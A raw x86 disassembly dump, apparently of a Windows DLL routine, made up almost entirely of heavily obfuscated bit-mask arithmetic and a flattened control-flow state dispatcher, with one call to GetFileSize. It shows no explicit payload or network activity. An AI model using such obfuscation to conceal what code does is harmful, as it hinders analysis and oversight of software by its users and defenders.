and edi, 0x7800312
or edi, eax
mov eax, edi
xor eax, 0x2800210
xor edi, 0xf87ffced
mov ecx, edi
and ecx, 0x8d40ede7
and eax, 0x52810218
or eax, ecx
mov ecx, ebx
not ecx
or edi, ecx
and ecx, 0x8d40ede7
and ebx, 0x72bf1218
or ebx, ecx
xor ebx, eax
not edi
or edi, ebx
mov eax, edi
xor eax, 0x6c5421
xor edi, 0xd78103da
and eax, 0x956c5629
mov ecx, edi
and ecx, 0x6a93a9d6
or ecx, eax
xor ecx, 0xc77e11e9
and edi, 0x521247c0
or edi, ecx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xe75bce96
xor esi, 0xa6f7a0f4
and esi, eax
and eax, 0x18a43169
or eax, ecx
mov ecx, edi
xor ecx, 0xa6f7a0f4
mov edx, ecx
and edx, edi
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x3edb90c6
and edx, 0xc1246f39
or edx, ebx
mov ebx, edi
not ebx
mov dword [esp], ebx
and ecx, ebx
mov ebx, ecx
not ebx
or ebp, ebx
and ebx, 0x3edb90c6
and ecx, 0xc1246f39
or ecx, ebx
xor ecx, edx
not ebp
or ebp, ecx
mov ebx, eax
xor ebx, 0xe75bce96
mov dword [esp + 0xc], ebx
or ebx, 0xa6f7a0f4
mov ecx, eax
xor eax, 0x8000100
mov edx, ebx
and edx, 0x12e5d6ef
and eax, 0x49080900
or eax, edx
mov edx, esi
not edx
or ebx, edx
and edx, 0x12e5d6ef
and esi, 0xed1a2910
or esi, edx
xor esi, eax
not ebx
or ebx, esi
xor ebx, ebp
mov edx, dword [esp]
mov eax, edx
and eax, 0x9a417cb7
and edi, 0x65be8348
or edi, eax
xor ecx, 0xa40148
mov esi, dword [esp + 0xc]
or edx, esi
mov eax, edx
and esi, 0x9a417cb7
and ecx, 0x65be8348
or ecx, esi
xor ecx, edi
not eax
or eax, ecx
not eax
or eax, ebx
mov ebp, eax
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0x2432db8c
mov esi, dword [esp + 4]
mov ecx, esi
and ecx, 0xdbcd2473
or ecx, eax
xor ecx, 0xdbcd2472
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, edx
and ecx, 1
and edx, 0x4269b848
and esi, 0xbd9647b6
or esi, edx
or ecx, 0x4269b848
xor ecx, esi
mov edx, ecx
not edx
mov esi, eax
xor esi, edx
and esi, eax
xor edx, ecx
and edx, eax
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xd8c25a85
mov esi, edx
and esi, 0x273da57a
or esi, eax
mov eax, esi
xor eax, 0x29211a
xor esi, 0xd8c25205
and esi, 0xffd6d665
and eax, 0x29299a
or eax, esi
mov esi, eax
xor esi, 0xb9145001
xor eax, 0x1201a
and eax, 0x46c3a67e
and esi, 0xb93c5981
or esi, eax
mov eax, esi
xor eax, 0xb93c5981
xor esi, 0x42028232
and esi, 0x72128ab3
mov edi, eax
and edi, 0x8ded754c
or edi, esi
xor edi, 0xeb14e088
and eax, 0x99066a3b
or eax, edi
mov edi, eax
not edi
mov esi, ecx
and esi, 0x66f995c4
and edx, 0x99066a3b
or edx, esi
xor ecx, edx
and ecx, edx
mov edx, ecx
not edx
mov esi, eax
or esi, edx
and eax, 0x59ad0bd4
and edi, 0xa652f42b
or edi, eax
and edx, 0x59ad0bd4
and ecx, 0xa652f42b
or ecx, edx
xor ecx, edi
mov edx, ecx
not edx
mov eax, edx
and eax, 0x77cc02e3
and ecx, 0x8833fd1c
or ecx, eax
xor ecx, esi
xor ecx, 0x8833fd1c
or edx, esi
not edx
or edx, ecx
mov eax, edx
xor eax, 0x99066a3b
xor edx, 0x66f995c4
mov ecx, eax
or ecx, 0x1003404
mov edi, edx
or edi, 0xa6788190
and ecx, 0xa778b594
mov ebx, edx
and ebx, 0x48064a4a
or ebx, ecx
and edi, 0xa778b594
mov esi, eax
and esi, 0x10810021
or esi, edi
xor esi, ebx
mov ecx, esi
xor ecx, 0xee7ecbda
xor esi, 0x11813425
and edx, esi
and ecx, eax
or ecx, edx
xor esi, ecx
and esi, ecx
mov edi, esi
mov ebx, ebp
mov dword [esp], ebp
mov eax, ebp
not eax
mov dword [esp + 4], eax
and eax, 0x699bf71
and ebx, 0xf966408e
or ebx, eax
mov edx, esi
not edx
mov eax, edx
mov dword [esp + 8], edx
and eax, 0x4edfe6c7
mov ecx, esi
and ecx, 0xb1201938
or ecx, eax
mov eax, ecx
xor eax, 0xa0000810
xor ecx, 0x207a241
or ecx, 0xd600500
and ecx, 0x1f67b749
and eax, 0xa0100896
or eax, ecx
mov ecx, edx
or ecx, 0x1207b249
and ecx, 0x1f67b749
and esi, 0x40884020
or esi, ecx
xor esi, eax
mov edx, esi
xor edx, 0x4de84520
xor esi, 0xb217badf
mov eax, esi
and eax, 0x87ea03fc
mov ecx, edx
and ecx, 0x7815fc03
or ecx, eax
mov ebp, ebx
xor ebp, 0xf966408e
xor ebx, 0x699bf71
xor ecx, 0xdb63f4fd
or ecx, esi
mov dword [esp + 0xc], ecx
mov eax, ebp
xor eax, esi
and eax, ebp
mov dword [esp + 0x10], eax
and esi, ebp
mov dword [esp + 0x14], esi
and ebp, 0x9885b17b
mov eax, ebx
and eax, 0x677a4e84
or eax, ebp
and edx, ebx
mov dword [esp + 0x1c], edx
mov ebp, ebx
xor eax, 0x3bf3b985
and ebp, 0xa37608fe
or ebp, eax
mov ecx, dword [esp + 4]
and ecx, 0xa0720002
mov eax, dword [esp]
and eax, 0x30408fc
or eax, ecx
mov ebx, eax
xor ebx, 0x204004c
or ebx, 0x1480c401
xor eax, 0x600000
and eax, 0x16008b0
and ebx, 0xb696c44f
or ebx, eax
mov eax, dword [esp + 8]
and eax, 0xa21400fa
and edi, 0x1620804
or edi, eax
mov dword [esp], edi
mov eax, ebp
not eax
mov ecx, ebp
and ecx, 0x6eb6c880
xor ebp, 0x15a965a0
and ebp, eax
and eax, 0x9149377f
or eax, ecx
mov ecx, eax
xor ecx, 0x9149377f
mov edx, eax
xor edx, 0x84e052df
and edx, ecx
or ebp, edx
mov esi, ebx
xor esi, 0xb696c44f
xor ebx, 0x49693bb0
mov edx, esi
or edx, 0x1a06500
and edx, 0xa1e4651a
mov edi, ebx
and edi, 0x2128844
or edi, edx
mov dword [esp + 4], edi
mov edi, ebx
or edi, 0xe044001b
and edi, 0xe1e4651b
mov edx, esi
and edx, 0xa0
or edx, edi
xor edx, dword [esp + 4]
xor edx, ebp
xor eax, 0x6eb6c880
mov edi, eax
and edi, 0x5f363cee
and ecx, 0xa0c9c311
or ecx, edi
or eax, esi
and esi, 0x33608ee
and ebx, 0xa0c9c311
or ebx, esi
xor ebx, ecx
not eax
or eax, ebx
xor edx, 0x8001200
not eax
or eax, edx
mov ecx, dword [esp]
mov edx, ecx
xor edx, 0x1620804
mov dword [esp + 4], edx
xor ecx, 0xa01400a2
add edx, 0x44889001
and edx, 0x47e89859
and ecx, 0xa01600a6
or ecx, edx
mov ebx, ecx
xor ebx, 0xb81767a6
mov edx, dword [esp + 0xc]
mov esi, edx
xor esi, 0xf290b427
mov edi, esi
and edi, edx
xor ecx, 0x4a87d381
and ecx, ebx
or ebx, edx
not edx
and esi, edx
mov edx, edi
not edx
mov ebp, edx
and ebp, 0x7233e696
and edi, 0x8dcc1969
or edi, ebp
mov ebp, esi
not ebp
or edx, ebp
and ebp, 0x7233e696
and esi, 0x8dcc1969
or esi, ebp
xor esi, edi
not edx
or edx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0x32228cd8
and ecx, 0x85550026
or ecx, edi
mov ebp, dword [esp + 4]
or ebp, 0x5defffd9
mov edi, dword [esp]
xor edi, 0x80100022
or esi, ebp
and ebp, 0x3a2acfd8
and edi, 0x80100026
or edi, ebp
xor edi, ecx
not esi
or esi, edi
xor esi, edx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xd53800b9
and esi, 0x2ac7ff46
or esi, ecx
or edx, ebx
and ebx, 0xf77e08ff
xor ebx, esi
xor ebx, 0x22460846
not edx
or edx, ebx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x918aff73
and eax, 0x6e75008c
or eax, esi
or ecx, edx
not edx
xor eax, 0x918aff73
or eax, edx
not eax
not ecx
or ecx, eax
mov ebx, dword [esp + 0x14]
or ebx, dword [esp + 0x1c]
or ebx, dword [esp + 0x10]
mov eax, ebx
not eax
mov esi, ecx
not esi
mov edx, esi
and edx, 0x581f7c89
and ecx, 0xa7e08376
or ecx, edx
mov edx, eax
or edx, 0xa3808262
mov edi, ebx
or edi, 0x101a5409
and edx, 0xb39ad66b
or esi, ebx
and ebx, 0x48052880
or ebx, edx
and edi, 0xb39ad66b
and eax, 0x4600114
or eax, edi
xor eax, ebx
xor eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfd2a3832
and eax, 0x2d5c7cd
or eax, edx
xor eax, esi
xor eax, 0x2d5c7cd
or ecx, esi
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x49c8f374
mov edx, ecx
and edx, 0xb6370c8b
or edx, eax
mov edi, edx
xor edi, 0x60c82
xor edx, 0x4140e344
and edx, 0xf771e34d
and edi, 0x88e1cb2
or edi, edx
mov eax, edi
xor eax, 0x8021080
xor edi, 0x93106201
and edi, 0x939c6e33
and eax, 0x6c6391cc
or eax, edi
mov edi, eax
xor edi, 0x6c6391cc
xor eax, 0x939c6e33
mov edx, esi
and edx, 0x3800df1e
mov ebx, ecx
and ebx, 0xc7ff20e1
or ebx, edx
xor ebx, 0xc7ff20e1
mov ebp, ebx
xor ebp, esi
and ebp, ebx
mov edx, ebp
not edx
mov ebx, edi
xor ebx, edx
and ebx, edi
and ebp, eax
and edx, edi
or edx, ebp
or edx, ebx
mov eax, edx
not eax
mov edi, eax
and edi, edx
mov ebx, edi
not ebx
mov ebp, edx
and ebp, 0xdcef7ec8
and eax, 0x23108137
or eax, ebp
or edx, ebx
and ebx, 0xdcef7ec8
and edi, 0x23108137
or edi, ebx
xor edi, eax
not edx
or edx, edi
mov eax, edx
not eax
mov edi, edx
or edi, 0x18ca0000
mov ebx, eax
or ebx, 0x81104419
and edi, 0x99da4419
and eax, 0x2058ae6
or eax, edi
and ebx, 0x99da4419
and edx, 0x64203100
or edx, ebx
xor edx, eax
mov eax, edx
xor eax, 0x402b0055
xor edx, 0xbf10f98a
mov edi, edx
and edi, 0x2fc4c72a
and eax, 0xd03b38d5
or eax, edi
xor eax, 0xec3e0fa0
or eax, edx
mov edx, eax
not edx
and esi, 0xf9fd26ae
and ecx, 0x602d951
or ecx, esi
mov edi, ecx
xor edi, 0x602d951
mov esi, ecx
xor esi, 0x3a07ee24
and esi, edi
xor ecx, 0x189c0426
and ecx, 0x1e9e4d76
and edi, 0xe161b289
or edi, ecx
mov ebx, edi
xor ebx, 0x1d008564
mov ecx, esi
not ecx
xor edi, 0x229b7a03
mov ebp, ecx
and ebp, 0xc2ec729b
and esi, 0x3d138d64
or esi, ebp
or ecx, edi
and edi, 0xc2ec729b
and ebx, 0x3d138d64
or ebx, edi
xor ebx, esi
not ecx
or ecx, ebx
mov esi, ecx
mov edi, ecx
xor edi, 0x753250a5
and edi, ecx
not ecx
mov ebx, eax
and ebx, 0xb65daa4b
mov ebp, edx
and ebp, 0x49a255b4
or ebp, ebx
mov ebx, ecx
and ebx, 0xb65daa4b
and esi, 0x49a255b4
or esi, ebx
xor esi, ebp
mov ebx, esi
xor ebx, eax
and ebx, esi
mov esi, eax
and esi, 0x8acdaf5a
xor eax, 0x753250a5
and eax, edx
or eax, esi
and ecx, 0x753250a5
or ecx, edi
xor ecx, eax
mov eax, ecx
not eax
mov edx, ebx
xor edx, eax
and edx, ebx
xor eax, ecx
and eax, ebx
xor eax, ecx
mov ecx, edx
not ecx
mov esi, eax
not esi
mov edi, ecx
and edi, 0xd6381509
and edx, 0x29c7eaf6
or edx, edi
or ecx, esi
and esi, 0xd6381509
and eax, 0x29c7eaf6
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov esi, edx
mov edi, ecx
mov ebx, edx
and ebx, 0x44f04d09
and ecx, 0xbb0fb2f6
or ecx, ebx
xor ecx, 0x870a8583
or ecx, edx
and edx, 0xaab25291
and eax, 0x554dad6e
or eax, edx
mov edx, eax
xor edx, 0x40088c00
xor eax, 0xa0020080
or esi, 0xa5030082
or eax, 0x18004055
and eax, 0xbd0340d7
and edx, 0x40b88e00
or edx, eax
and esi, 0xbd0340d7
and edi, 0x2443128
or edi, esi
xor edi, edx
mov eax, edi
xor eax, 0x10406118
xor edi, 0xe5bb8e82
and eax, 0x5059e118
mov edx, edi
and edx, 0xafa61ee7
or edx, eax
xor edx, 0x93a32992
and edi, 0xc3fac88a
or edi, edx
mov eax, edi
not eax
mov edx, eax
xor edx, ecx
and edx, eax
xor eax, edi
and eax, ecx
xor eax, edi
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov edi, edx
not edi
mov esi, eax
and esi, 0xe2a397cb
mov ebx, ecx
and ebx, 0x1d5c6834
or ebx, esi
mov esi, eax
or esi, edi
and edi, 0xe2a397cb
and edx, 0x1d5c6834
or edx, edi
xor edx, ebx
not esi
or esi, edx
mov edx, esi
not edx
and esi, 0x88dc2d89
and edx, 0x7723d276
or edx, esi
mov esi, edx
xor esi, 0x88dc2d89
xor edx, 0x7723d276
and edx, esi
mov esi, edx
not esi
mov edi, edx
xor edi, 0x9e15701
and edi, esi
and edx, 0xf61ea8fe
or edx, edi
mov edi, eax
or edi, 0xb018a83c
mov ebx, ecx
or ebx, 0x1405301
and edi, 0xb158fb3d
mov ebp, ecx
and ebp, 0x8a10400
or ebp, edi
and ebx, 0xb158fb3d
mov edi, eax
and edi, 0x460600c2
or edi, ebx
xor edi, ebp
xor edi, edx
or esi, ecx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x4b67584
and edi, 0xfb498a7b
or edi, ebx
mov ebx, esi
not ebx
or edx, esi
and esi, 0x4b67584
and ebx, 0xfb498a7b
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov esi, ecx
mov edi, eax
or edi, 0x1c800440
and edi, 0xbd89c646
and ecx, 0x3001a1
or ecx, edi
or esi, 0xa109c206
and esi, 0xbd89c646
and eax, 0x42463818
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x5ec63c58
and ecx, edx
mov esi, edx
not esi
xor eax, 0xa139c3a7
mov edx, esi
xor edx, eax
and edx, esi
and eax, esi
or eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x91cd51a6
and edx, 0x6e32ae59
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x91cd51a6
and eax, 0x6e32ae59
or eax, esi
xor eax, edx
not ecx
or ecx, eax
xor ecx, 0x449415cc
xor ecx, 0xbb6bea33
sete dh
setne cl
mov byte [esp], cl
cmp dword [0x10047904], 0xa
setl al
setge ch
and cl, ch
mov dl, al
and dl, dh
or dl, cl
mov ebx, edx
xor bl, 1
mov bh, al
or bh, dl
mov cl, bl
xor cl, al
and cl, dl
xor cl, 1
mov ah, bh
xor ah, cl
or cl, bh
xor cl, 1
or cl, ah
mov ah, cl
and cl, dl
xor ah, 1
and bl, ah
or cl, bl
xor cl, 1
or cl, ah
mov dl, cl
xor dl, 1
or ch, dh
xor ch, 1
or al, byte [esp]
mov ah, ch
xor ah, al
xor al, 1
mov dh, al
xor dh, ch
xor dh, 1
xor ah, 1
or al, ch
xor al, 1
or al, ah
mov ah, dh
xor ah, al
or al, dh
xor al, 1
or al, ah
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov dh, al
and dh, dl
mov ch, al
xor ch, 1
mov ah, cl
and ah, ch
or ah, dh
xor ah, 1
or ah, cl
and dl, cl
xor dl, 1
mov dh, cl
xor dh, dl
or dl, cl
mov cl, ah
xor cl, 1
and al, ch
xor dl, 1
or dl, dh
xor al, 1
mov dh, ch
xor dh, al
or al, ch
xor al, 1
or al, dh
mov ch, dl
xor ch, 1
and ch, al
xor al, 1
and al, dl
or al, ch
mov edx, eax
xor dl, 1
mov ch, al
and ch, dl
xor ch, 1
mov dh, ch
xor dh, dl
or ch, dl
xor ch, 1
or ch, dh
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov dh, dl
and dl, ch
xor ch, 1
xor dh, 1
and dh, ch
or dl, dh
or cl, al
xor al, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, 1
mov ah, dl
xor ah, 1
and cl, ah
or ah, al
and al, dl
or al, cl
mov cl, ah
xor cl, al
test al, 1
mov edi, 0xc6bf400b
mov edx, 0xf31014c0
cmovne edi, edx
test ah, 1
mov eax, 0xc6bf400b
cmovne edi, eax
jmp 0x100236de
cmp edi, 0x14c60b93
jg 0x10013605
cmp edi, 0x12544d7c
je 0x1001a6d1
cmp edi, 0x13fa398c
jne 0x10008b80
push 0
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x34], eax
cmp eax, 0xffffffff
sete byte [esp + 0x38]
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0xabcd63d2
mov ecx, edx
mov ebx, edx
and ecx, 0x54329c2d
or ecx, eax
mov eax, ecx
xor eax, 0x100404
xor ecx, 0x1000100
mov esi, edi
or esi, 0x51000109
or ecx, 0x6cb1030
and ecx, 0x57cb1139
and eax, 0xa0102684
or eax, ecx
and esi, 0x57cb1139
and edx, 0x824c842
or edx, esi
xor edx, eax
mov eax, edx
xor eax, 0xc2bc042
xor edx, 0xf110278d
and eax, 0xad3be14e
mov ecx, edx
and ecx, 0x52c41eb1
or ecx, eax
xor ecx, 0x7c27d512
and edx, 0xd11c345c
or edx, ecx
mov eax, edi
or eax, 0x2ee3cba3
mov ecx, eax
not ecx
and eax, 0x163568d0
mov esi, ebx
xor esi, 0xc0001454
and esi, ecx
and ecx, 0xc108140c
or ecx, eax
mov eax, ecx
xor eax, 0xe9ca972f
xor ecx, 0xd0d63604
and ecx, eax
or esi, ecx
and esi, 0xd3ff3edc
xor esi, edx
xor esi, 0x3d1ce12b
or eax, edx
not eax
or eax, esi
mov edx, eax
mov ecx, eax
xor ecx, 0xd11c345c
and ecx, eax
or eax, 0x2ee3cba3
not edx
mov esi, eax
and esi, 0xb2c3c657
and edx, 0x411c3008
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xb2c3c657
and ecx, 0x4d3c39a8
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x5aed2969
and ecx, eax
not eax
and eax, 0x5aed2969
or eax, ecx
not ecx
and ecx, 0xa512d696
and eax, 0x5aed2969
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x8911bca
mov esi, eax
or esi, 0x24000000
and edx, 0x2c911bca
and eax, 0x816ac034
or eax, edx
and esi, 0x2c911bca
and ecx, 0x52042401
or ecx, esi
xor ecx, eax
mov edx, ecx
not edx
and ecx, 0x9e7cfd27
mov eax, edx
and eax, 0x618302d8
or eax, ecx
xor eax, 0x3b163d13
and edx, 0xa56ac034
or edx, eax
mov dword [esp], edi
mov eax, edi
and eax, 0x63b03196
mov dword [esp + 4], ebx
mov esi, ebx
and esi, 0x9c4fce69
or esi, eax
mov eax, esi
xor eax, 0x84028c49
xor esi, 0x63b03196
mov ecx, esi
and ecx, 0x3a4d4324
and eax, 0xc5b2bcdb
or eax, ecx
mov ecx, edi
and ecx, ebx
mov edi, ecx
not edi
or esi, edi
and edi, 0x3a4d4324
and ecx, 0xc5b2bcdb
or ecx, edi
xor ecx, eax
not esi
or esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ecx, 0xe317900c
mov eax, esi
and eax, 0x1ce86ff3
or eax, ecx
or ebx, 0xa56ac034
mov ecx, ebx
and ecx, 0x10b77b47
and esi, 0x4a000488
or esi, ecx
mov ecx, eax
xor ecx, 0xa9008480
xor eax, 0x467d5038
or ebx, eax
and eax, 0x10b77b47
and ecx, 0xef4884b8
or ecx, eax
xor ecx, esi
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov ecx, ebx
or ecx, 0x24810a10
and ecx, 0xf7c9ca91
and eax, 0x34210c
or eax, ecx
mov ecx, ebx
xor ecx, 0xd37ce18d
and ecx, ebx
mov esi, ecx
not esi
or ebx, esi
and esi, 0xf7c9ca91
and ecx, 0x836356e
or ecx, esi
xor ecx, eax
mov edi, edx
not edi
not ebx
or ebx, ecx
not ecx
and ecx, 0x2c831e72
and ebx, 0xd37ce18d
or ebx, ecx
mov esi, ebx
not esi
and ebx, 0xf75bf8e2
and esi, 0x8a4071d
or esi, ebx
mov ecx, edx
and ecx, 0x867215ed
mov eax, edi
and eax, 0x798dea12
or eax, ecx
mov ecx, esi
xor esi, 0xf75bf8e2
xor eax, 0x867215ed
or eax, esi
mov ebx, esi
xor esi, edx
and edx, 0x76bf69de
and esi, edi
and edi, 0x89409621
or edi, edx
xor ecx, 0xa40704
and ebx, 0x8d02b0f9
and ecx, 0x72fd4f06
or ecx, ebx
mov edx, edi
xor edx, 0x1620
xor edi, 0x76bf69de
mov ebx, edi
and ebx, 0x8bc9e097
and edx, 0x74361f68
or edx, ebx
mov ebx, ecx
xor ebx, 0x70340f00
xor ecx, 0x8d02b0f9
or edi, ecx
and ecx, 0x8bc9e097
and ebx, 0x74361f68
or ebx, ecx
xor ebx, edx
not edi
or edi, ebx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x5a8b4097
and esi, 0xa574bf68
or esi, ecx
xor esi, eax
or edx, eax
mov eax, edi
not eax
xor esi, 0xa574bf68
not edx
or edx, esi
mov ecx, edi
and ecx, 0xf2648641
xor edi, 0xd412a571
and edi, eax
and eax, 0xd9b79be
or eax, ecx
mov ebp, edx
not ebp
mov esi, ebp
and esi, 0x388fb4d1
mov ebx, edx
and ebx, 0xc7704b2e
or ebx, esi
mov esi, eax
xor esi, 0xf2648641
mov dword [esp + 8], esi
or esi, 0xd412a571
mov dword [esp + 0xc], eax
xor eax, 0x885008
mov ecx, esi
and ecx, 0x5d73aa87
and eax, 0x228c5008
or eax, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x5d73aa87
and edi, 0xa28c5578
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov edi, ebx
xor edi, 0xc7704b2e
xor ebx, 0x388fb4d1
mov eax, ebx
or eax, 0x4000431
and eax, 0xcc40e33
mov ecx, edi
and ecx, 0x2329508c
or ecx, eax
or ebp, 0x8c40a02
and ebp, 0xcc40e33
and edx, 0xd012a140
or edx, ebp
xor edx, ecx
xor edx, esi
mov esi, dword [esp + 0xc]
xor esi, 0x86080
mov ecx, dword [esp + 8]
mov eax, ecx
and eax, 0x8ff3193f
and esi, 0x700ce6c0
or esi, eax
or ecx, ebx
mov eax, ecx
and ebx, 0x8ff3193f
and edi, 0x700ce6c0
or edi, ebx
xor edi, esi
not eax
or eax, edi
mov ecx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0x15504bdb
and edx, 0xeaafb424
or edx, eax
xor edx, ecx
xor edx, 0xeaafb424
or edi, ecx
not edi
or edi, edx
mov edx, edi
not edx
mov eax, edi
or eax, 0x9aa800c0
and eax, 0xbeaf83e2
mov ecx, edx
and ecx, 0x102011
or ecx, eax
mov esi, edx
or esi, 0x24078322
and esi, 0xbeaf83e2
mov eax, edi
and eax, 0x41405c0c
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x8800500c
xor eax, 0x20008030
and eax, 0x20c08c30
and ecx, 0x8814520d
or ecx, eax
mov eax, ecx
xor eax, 0x8105205
or eax, 0x55012102
xor ecx, 0x20400410
and ecx, 0xa0440418
and eax, 0x5d91fb27
or eax, ecx
mov ecx, edx
and ecx, 0xa8d4de3d
and edi, 0x572b21c2
or edi, ecx
mov ecx, eax
xor ecx, 0x5d91fb27
xor edx, edi
and edx, edi
mov edi, edx
not edi
mov esi, ecx
xor esi, edi
and esi, ecx
xor eax, 0x20260080
and eax, 0x20272aa2
and ecx, 0x88d0d41d
or ecx, eax
and edi, 0x20272aa2
and edx, 0xdfd8d55d
or edx, edi
xor edx, ecx
or edx, esi
mov eax, edx
xor eax, 0xdbe1e08
mov esi, edx
xor esi, 0xf241e1f7
xor edx, 0x52899b90
and edx, eax
or esi, edx
not edx
and edx, 0xa0c87a67
and esi, 0x5f378598
or esi, edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
and ecx, 0x32f7afa5
and esi, 0xcd08505a
or esi, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x1ac3d9f1
and eax, 0xe53c260e
or eax, ecx
mov ecx, esi
xor ecx, 0x20342604
xor esi, 0xcd08505a
or edx, esi
and esi, 0x1ac3d9f1
and ecx, 0xe53c260e
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov ebx, dword [esp + 4]
mov edi, ebx
or edi, 0xc82c0904
mov ecx, dword [esp]
mov eax, ecx
and eax, 0x10835202
and edi, 0xed7c2df4
or edi, eax
mov esi, edi
xor esi, 0xed7c2df4
and ecx, 0x5b07ada1
mov eax, ebx
and eax, 0xa4f8525e
or eax, ecx
mov ebx, eax
xor ebx, 0xa4f8525e
xor eax, 0x5a02a4a0
and eax, 0xfe1aa4b2
mov ecx, eax
mov eax, ebx
and eax, 0x1e55b4d
or eax, ecx
xor eax, 0xcbc9d240
and ebx, 0x35d376f2
or ebx, eax
mov ecx, ebx
not ecx
mov eax, ebx
and eax, 0x9f5478a3
xor ebx, 0x98774b4f
and ebx, ecx
and ecx, 0x60ab875c
or ecx, eax
mov eax, edi
xor eax, 0x1283d20b
mov dword [esp + 4], eax
xor edi, 0x8af49944
and edi, eax
mov eax, esi
and eax, 0x10534242
or eax, edi
mov dword [esp + 8], eax
mov eax, ecx
xor eax, 0x9f5478a3
mov dword [esp], eax
or eax, 0x98774b4f
mov edi, ecx
xor ecx, 0x60000000
mov ebp, eax
and ebp, 0x15b9dddc
and ecx, 0x62002020
or ecx, ebp
mov ebp, ebx
not ebp
or eax, ebp
and ebp, 0x15b9dddc
and ebx, 0xea462223
or ebx, ebp
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [esp + 8]
xor ecx, eax
mov eax, esi
and eax, 0x11d11270
mov ebx, dword [esp + 4]
and ebx, 0xae026c86
or ebx, eax
xor edi, 0x20020404
mov eax, dword [esp]
or esi, eax
and eax, 0x51fd9379
and edi, 0xae026c86
or edi, eax
xor edi, ebx
not esi
or esi, edi
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0xca2c890d
xor esi, 0x35d376f2
mov edi, edx
not edi
and esi, edi
mov eax, edx
and eax, ecx
or eax, esi
mov esi, edi
and esi, 0xc971adae
mov ebx, edx
and ebx, 0x368e5251
or ebx, esi
mov esi, ebx
xor esi, 0x80001
xor ebx, 0x8012402
or ebx, 0x2848928
and ebx, 0x3a85ad7a
and esi, 0x81380001
or esi, ebx
not eax
or eax, edi
or edi, 0x38012452
and edi, 0x3a85ad7a
and edx, 0x44425284
or edx, edi
xor edx, ecx
xor edx, esi
mov ecx, edx
xor ecx, 0xb9392453
and ecx, eax
not eax
xor edx, 0x46c6dbac
mov esi, eax
xor esi, edx
and esi, eax
and edx, eax
or edx, ecx
or edx, esi
mov eax, edx
not eax
mov ecx, edx
and ecx, eax
and edx, 0xd809f4df
and eax, 0x27f60b20
or eax, edx
xor eax, 0xd809f4df
or eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xa2040010
mov edx, eax
and edx, 0x40281245
or edx, ecx
xor edx, 0x40281245
mov ecx, eax
xor ecx, 0xe22c1255
and ecx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x60041045
and esi, 0xa9aa4af9
and eax, 0x5655b506
or eax, esi
xor ecx, 0x1dd3edaa
mov esi, ecx
and esi, 0x87b84f90
and edx, 0x7847b06f
or edx, esi
mov esi, eax
xor esi, 0x5045b006
xor eax, 0x81a84a90
and eax, 0x87b84f90
and esi, 0x7847b06f
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
sete ah
setne ch
cmp dword [0x10047904], 0xa
setge dl
setl dh
mov cl, dh
xor cl, ch
not cl
and cl, ch
mov al, dh
or al, ch
xor al, 1
or al, cl
mov bl, ch
inc bl
or bl, ch
xor bl, 1
or bl, ch
mov bh, bl
xor bh, 1
mov cl, dl
or cl, bh
xor cl, 1
and bl, dh
and bh, dl
or bh, bl
mov bl, bh
xor bl, dh
and bl, bh
xor bl, cl
xor bl, 1
and cl, bl
xor cl, 1
mov bh, cl
xor bh, bl
or cl, bl
xor cl, 1
or cl, bh
mov bh, dl
xor bh, ah
mov bl, bh
xor bl, 1
and ch, dh
mov dh, bl
and dh, bh
xor dh, 1
or dh, bh
and bh, dl
and dl, ah
or dl, ch
or dl, bh
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor dh, 1
or dh, bl
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov dl, dh
xor dl, 1
and dl, ah
xor ah, 1
and ah, dh
or ah, dl
mov edx, ebx
xor dl, ch
or ch, bl
xor ch, 1
or ch, dl
xor ah, 1
mov dl, ah
xor dl, ch
or ah, ch
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
mov ch, dl
and ch, ah
xor dl, ch
xor ch, 1
or ch, ah
xor ch, 1
or ch, dl
mov ah, ch
xor ah, 1
